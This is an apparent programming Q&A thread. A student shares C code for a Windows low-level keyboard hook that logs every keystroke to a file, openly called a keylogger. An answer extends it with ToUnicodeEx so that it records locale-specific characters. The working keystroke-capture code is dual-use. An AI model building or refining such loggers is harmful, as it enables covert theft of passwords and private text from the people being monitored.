Well, i have simple program that save pressed keys. But it works only on english keyboard. It cant detect any other keyboard for example my slovak. Word "škola" is saved as "3kola". Because "3" and "š" are the same button on keyboard.
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0);
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
fprintf(LOG, "%c", kbdStruct.vkCode);
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}
void main()
{
LOG = fopen("log.txt", "a+" );
SetHook();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
fclose(LOG);
}
What i want to do is to save char of current local language. For example. I wrote one word in slovak "žiak" then i change local to english and write something in english then czech for example. How can i do that user input will be all the times saved with local language chars. (yes its keylogger but thats the interresting way to learn C in school we do really some stuff as loops and writing to text file which is everything i know :/) I found something about wm_char with can fix my problem but i dont know how to use it.
If you want to keep the low-level keyboard hook, instead of going with a message hook, you will have to translate the key code received in the hook function and the keyboard state into a UTF8 string based on current locale:
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0)
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
unsigned char keyboardState[256];
for (int i = 0; i < 256; ++i)
keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));
wchar_t wbuffer[3] = { 0 };
int result = ToUnicodeEx(
kbdStruct.vkCode,
kbdStruct.scanCode,
keyboardState,
wbuffer,
sizeof(wbuffer) / sizeof(wchar_t),
0,
GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
if (result > 0)
{
char buffer[5] = { 0 };
WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
fprintf(LOG, "%s", buffer);
}
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
ToUnicodeEx
is the function that performs the translation. It needs the keyboard state in addition to the key code because the modifier keys may change the character.